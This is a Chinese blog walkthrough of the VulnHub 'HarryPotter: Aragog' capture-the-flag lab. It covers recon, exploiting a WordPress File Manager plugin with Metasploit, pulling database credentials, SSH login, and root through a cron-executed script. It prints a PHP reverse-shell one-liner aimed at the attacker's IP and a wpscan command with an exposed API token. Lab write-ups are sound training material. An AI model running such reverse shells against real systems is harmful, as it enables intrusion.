作者名Demo不是emo 

主页面链接主页传送门
创作初心对于计算机的学习者来说初期的学习无疑是最迷茫和难以坚持的我也刚接触计算机1年也在不断的探索在CSDN写博客主要是为了分享自己的学习历程学习方法总结的经验等等希望能帮助到大家
座右铭不要让时代的悲哀成为你的悲哀
专研方向网络安全数据结构

每日emo人们感到委屈的时候通常就说睡了

 

 今天的博客内容是HARRYPOTTER: ARAGOG (1.0.2)教程简单难度靶场环境来源于VulnHub,该网站有很多虚拟机靶场靶场平台入口在这推荐大家使用大家进去直接搜索HARRYPOTTER: ARAGOG (1.0.2)就能下载今天的靶场了也可以找我拿开始对今天靶场的介绍

这是哈利波特vm系列的第一个靶场总共有三个靶场其中隐藏了8个魂器今天这个靶场中隐藏了两个意思就是今天的靶场有两个flag话不多说我们来见识见识

靶场地址HarryPotter: Aragog (1.0.2) ~ VulnHub

目录

一攻击准备

二信息收集

 1.http服务探测

2.wpscan工具 

 3.msf获权

三.最终提权 

 1.数据库权限

2.用户权限

3.root提权

四拓展 

---

一攻击准备

直接在vbox导入就可以如果出现了报错就把启用usb控制器关掉就可以正常打开了

这里除了到vulnhub下载到的目标虚拟机环境还需要一台kali并且两台处于同一网段可以都用桥接模式虚拟机管理设备用vm和virtual均可我这里就用virtual来给大家演示了如下面这样就是搭建完成了具体搭建过程就不多讲了不懂得也可以私信问我 

 因为我这是校园网有防护所以c段不同这里都用桥接模式即可而且靶机也显示了ip地址只要能ping通就可以进行靶场操作了

二信息收集

 这里看到我的kali攻击机的ip是172.21.100.73而目标机器的ip是172.21.122.235既然知道了对方的ip我们就直接用nmap详细扫描一下扫描结果如下

 1.http服务探测

根据上面的扫描结果可以看到对方开启了22端口ssh服务和80端口http服务因为ssh需要用户名等敏感信息所以我们就先探测对方的http服务即通过目标的ip访问目标搭建的网页访问结果如下

可以看到这个页面内只有一张图片而且在f12开发者审查元素里面也没有发现异常在靶场之中看到图片大部分都涉及了隐写术这里我们用wget命令把图片下载到本地再输入steghide工具一款开源的隐写工具使用info参数查看图片命令如下

steghide info harry_potter_1.jpg 

具体操作如下

可以看到提取图片数据时需要密码我们并没有密码隐写术的探索就只能暂停了所以想要继续探测http服务就只能找敏感目录这里我们使用kali 自带的dirsearch目录爆破工具来探测目录命令如下

dirsearch -u "172.21.122.235" -e * 

探测结果如下

可以看到这里扫出来目录中/index.html/javascript, /server-status,/blog下的部分目录并且出现了wp-login.php这也说明了这是一个wordpress的cms框架这些才可以访问我们依次尝试果然在blog这个页面发现了作者给出的提示提示如下这里其他的访问页面就不展示了太多了

就是这样一个页面因为全是英文所以我们也可以来翻译一下 

这里大家能看明白了吧他提示了这是一个wordpress站点这也印证了前面我们的猜想同时这个blog页面应该也是wordpress搭建的根目录

2.wpscan工具 

我们这里还是用kali自带的工具wpscan来进一步获取信息这是一款专门用来探测wordpress站点漏洞的工具还可以检测wordpress站点用的插件存在的漏洞 但是这款工具wpscan规定扫描漏洞时需要带上token值才能显示出漏洞详细信息。这个token只需要去他的官网注册一下再登录就可以拿到了如果不带token值不会显示漏洞信息

这里拿到了token值 再依次输入下面指令把ip换成你们自己攻击机的ip即可

检测wordpress站点的漏洞
wpscan --api-token=ncpMue7yoUJi54sMafxWaHh4ntwFTTwQWCadedVv6sQ --url=http://172.21.122.235/blog

检测wordpress站点所用插件的漏洞
wpscan --api-token=ncpMue7yoUJi54sMafxWaHh4ntwFTTwQWCadedVv6sQ --url=http://172.21.122.235/blog -e vp

站点漏洞检测结果如下

可以 发现该站点的插件中有很多漏洞而且都是关于file Manager的所以我们直接去msf上看看有没有对应的漏洞利用工具

 3.msf获权

直接打开kali的msfconsole这个就不用介绍了吧再使用search命令查找可以利用的工具查找结果如下

可以看到有四个结果我们使用第二个因为这个名称正是我们刚才探测出来的4个漏洞之一use 1进入到该工具内再使用info命令查看需要配置哪些东西

 可以看到这里需要配置rhost目标主机targeturl目标网址这个目标网址会自动跟前面的目标主机拼接所以我们直接把rhost设置为靶机的iptargeturl设置成/blog即可这里因为使用的是反向所以还需要配置自己的主机ip再运行即可效果如下

可以看到这里我们成功拿到了网站权限第一个魂器就在家目录的hagrid98目录下

 这段乱码一看就是base64格式我们直接拿去在线站点解压解压结果如下

1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets

翻译1里德尔的日记本被哈利在密室中摧毁

三.最终提权 

 1.数据库权限

 前面获得的是网站权限而且第二个魂器还没拿到所以我们继续探索wordpress用户会在mysql数据库中存储信息在/etc/wordpress里可以打开config-default.php。这里记录了MySQL的用户名密码可以用于登录数据库

注意登录数据库之前得首先得获取一个tty shell不然我们在数据库中的命令就看不到回显可以理解为将非交互式shell变成了交互式shell输入下面命令即可拿到tty shell 

python3 -c 'import pty; pty.spawn("/bin/bash");'

步骤如下 

 像上面这样就是拿到了tty 权限接下来就是根据上面拿到的mysql的账密来尝试远程登录了

 

可以看到这里我们成功登陆了目标的数据库wordpress数据库保存的用户名和密码一般都放在wp_users表里面的我们直接查找里面的内容试试 

成功拿到了用户名和密码我们将密码拿去md5在线站点解密解密的结果如下

password123

2.用户权限

 因为我们刚才在数据库中拿到了账密最开始的信息探测中又发现目标开启了ssh服务所以我们直接尝试远程登录ssh服务步骤如下

成功拿到用户权限现在我们就该考虑怎么提升为root权限了

3.root提权

 

 这里我们尝试了查找了一下作者有没有留下可以sudo提权的工具和历史命令都没有发现那就很可能是敏感文件了我们先看看bak备份文件

成功发现了一个以sh为后缀的文件相信大家平时没少看到此类文件吧此类文件大多都是脚本我们用cat再仔细看看

这个脚本的大概意思是把上传的文件复制到tmp这个目录里即拷贝文件 说明这个文件每过一段时间就会执行推测应该被写入了计划任务这里我们尝试建立一个反弹shell的脚本并通过它这个计划任务来执行

在tmp文件下创建反弹shell的php脚本并命名为a.php脚本代码如下

<?php $sock=fsockopen("172.21.100.73 ",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

因为我们猜测有一个计划任务会不断执行刚刚我们找到的.backup文件所以我们把执行脚本的命令也写入该文件内让其不断执行脚本加入代码后如下 

 这里的/usr/bin/php是php的执行文件的目录这样才能执行php文件可能有的同学执行文件位置不一样所以就需要找一下了

 再新开一个终端监听9999端口不到一分钟就可以接收到shell了可以看到是root用户了已经

四拓展 

这里我们也可以来查看一下计划任务进一步验证我们的猜想

可以看到root下确实存在了一个计划任务来执行刚才那个脚本文件 给自己点个赞

到这里今天的靶场就全部结束了如果你看到这里了希望你也能给自己点个赞最后感谢大家的阅读有什么问题随时都可以问评论或私信我加油哇